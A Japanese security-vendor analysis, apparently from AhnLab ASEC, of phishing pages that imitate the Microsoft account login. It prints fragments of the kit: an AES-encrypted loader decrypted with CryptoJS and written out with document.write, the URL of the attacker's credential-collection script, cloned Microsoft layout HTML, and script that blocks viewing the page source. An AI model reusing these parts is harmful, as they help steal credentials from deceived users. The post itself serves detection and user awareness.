韓国国内外の多くの企業および個人ユーザーが Microsoft アカウントを利用して Outlook、Office、OneDrive、Windows をはじめとする Microsoft の主要サービスを利用している。ユーザーは統合ログインを利用してアカウントに接続されているすべての Microsoft サービスに簡単に接続できる。攻撃者の立場ではどうだろうか?たった一つのアカウントを利用するだけで得られる情報が多いため、最高の攻撃ターゲットである。特に企業の内部のプライベートな情報を扱っているユーザーの場合は、Microsoft アカウントから獲得できる情報の「栄養価」が高いのである。
このような理由で、ログインアカウント(Credentials)の流出を目的としたフィッシングメールの相当数が Microsoft アカウントを狙っているのである。毎週公開している「ASEC 週間フィッシングメールの脅威トレンド」でもその事例を確認できる。攻撃者は Microsoft アカウントにログインするようなフィッシングページを製作し、これを HTML や HTM のようなスクリプトファイルで電子メールに添付したり、メール本文のリンクに接続させている。このようにして製作されたフィッシングページを、ユーザーはしっかりと区別できるだろうか?今から説明する画面は、直近1~2週間で配布された Microsoft アカウントの窃取を目的とした偽のログインフィッシングページである。
以下は正常な Microsoft アカウントのログインページである。背景の色からフォント、ボタンの色やサイズなど、画面の構成が非常に類似しており、フィッシングページと正常なページを区別するのが難しくなっている。以前のフィッシングページはロゴの解析度が低かったり、位置が不自然だったり等、多少異なる部分があったため、画面を見ただけでも区別しやすかった。これに比べて、今回確認されたタイプはとても精巧に作られており、その分攻撃成功率も高くなっている。
Microsoft の偽のログインページのうち、画面構成が類似しているものに加え、reCAPTCHA を適用した事例もある。認証段階を追加し、ユーザーがさらにページを信頼できるようにしている。以下は米国の某カウンティのドメインのユーザーを対象にしたフィッシングページである。専門家ではない一般のユーザーが画面のレイアウトをみてもフィッシングであるかどうかの判断が難しい。
このように精巧に作られたフィッシングページのスクリプトコードは、その画面のように正常であるかのように作られているとみられる。CryptoJS を利用して AES 暗号化文字列を復号化し、document.write(decrypted.toString(CryptoJS.enc.Utf8)); 段階でフィッシングページのスクリプトコードをロードしていた。多くのフィッシングページのスクリプトが atob、Base64、Percent-encoding などを利用し、文字列のエンコードをより複雑にしている。暗号化を利用して、自動化されたスクリプトデコード方式と検知ロジックを回避しようとしたものと見られる。
<script src="https://cdnjs.cloudflare.com/ajax/libs/crypto-js/4.0.0/crypto-js.min.js"></script>
<script>
var url_string = "...."; // comment: concealed
var o365File = "https://toolzcontructed.com/o3651.php";
let ciphertextWA = CryptoJS.enc.Hex.parse("e4ad44edb819990ffdbcb8beaa56db2bc476d724f10....."); // comment: concealed
let keyWA = CryptoJS.enc.Utf8.parse("32045938420609488026218382801049");
let ivWA = CryptoJS.enc.Utf8.parse("3105230020482131");
let ciphertextCP = { ciphertext: ciphertextWA };
let decrypted = CryptoJS.AES.decrypt(ciphertextCP, keyWA, { iv: ivWA });
document.write(decrypted.toString(CryptoJS.enc.Utf8));
</script>
ロードされたフィッシングページスクリプトコードは Microsoft アカウントのログイン画面をほぼそのまま具現している。以下は背景画面とロゴベクトル画像を参照してレイアウトを表しているコードの一部である。実際の Microsoft アカウントのログインページはこのようなレイアウトでは構成されていない。模造するために必須のコードだが、スクリプトコードを見ない大半のユーザーはこれらを認知することができない。
<div id="lightboxBackgroundContainer">
<div class="background-image-holder" role="presentation">
<div class="background-image ext-background-image"
style="background-image: url("https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg");">
</div>
</div>
</div>
<div class="outer" id="bgImgCenter">
<div class="template-section main-section">
<div class="middle ext-middle">
<div class="full-height">
<div class="flex-column">
<div class="win-scroll">
<div id="lightbox" class="sign-in-box ext-sign-in-box fade-in-lightbox">
<div><img class="logo" role="img"
pngsrc="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ed9c9eb0dce17d752bedea6b5acda6d9.png"
svgsrc=""
src="https://aadcdn.msftauth.net/shared/1.0/content/images/microsoft_logo_ee5c8d9fb6248c938fd0dc19370e90bd.svg"
alt="Microsoft"></div>
マウス右クリックと Ctrl+S キー入力など、それぞれのイベントを無効にするコードがある。これを通すと Web 画面で「ページソースを見る」もしくは Web ブラウザの「開発者ツール」などのスクリプトコードを見ることができる方法が実行できない。入力できる部分は Microsoft アカウントのパスワード入力しかない。パスワードの長さは検査があり、有効なパスワードの値だけを得るのである。パスワードを受け取って攻撃者のサーバーに転送したら、正常な Microsoft Office365 ページに画面をリダイレクトする。攻撃者はフィッシングページのスクリプトを露出させず、適切に値をフィルタリングしており、また窃取に成功した後も情報流出の事実をユーザーが認知できないようにしていることがわかる。
<script>// prevent ctrl + swindow.addEventListener('keydown', async (e) => {if (e.ctrlKey && (e.which == 83)) {e.preventDefault();return false;}});window.addEventListener('contextmenu', event => event.preventDefault());document.onkeydown = function (e) {if (event.keyCode == 123) {return false;}
上記のような Microsoft の偽のログインページは電子メールの添付ファイルで配布される。電子メールは、特定の国や企業ではなく、韓国国内外でグローバルに送信された。以下は電子メールの本文の内容である。英文で送信され、韓国語のメールは現在まで確認されていない。本文の内容はほとんどなく、添付ファイルのみ存在している。この部分は、ユーザーがフィッシングメールであると疑うことができる部分である。
Microsoft のアカウント窃取目的のフィッシングページは、セキュリティ規則を遵守して攻撃を予防すれば、被害を最小限にすることができる。
- 送信者と内容、添付ファイルが疑わしい電子メールは、フィッシングである可能性が高いため、クリックしたり実行したりしてはならない。
- Microsoft アカウントでログインする際は、現在の接続アドレスドメインが正常な Microsoft サービスのアドレスであるか、また HTTPS 接続が正しいかを確認しなければならない。
- Microsoft アカウントの2段階認証を利用する。アカウント情報が流出しても、本人かどうかを調べることができる。
現在 AhnLab では上記のようなマルウェアを V3 で以下のように検知、遮断している。
[ファイル検知]
- Phishing/HTML.FakeMS.SC184878 (2022.11.30.00)
- Phishing/HTML.FakeMS.SC184966 (2022.12.06.00)
- Phishing/HTML.FakeMS.SC184967 (2022.12.06.00)
[IOC 情報]
- 4ba7fe8ad00623bf28b943272aa07de9
- fbe4c854b285693895d30afa72a9c004
関連 IOC および詳細な解析情報は、AhnLab の次世代脅威インテリジェンスプラットフォーム「AhnLab TIP」サブスクリプションサービスを通して確認できる。
Categories:マルウェアの情報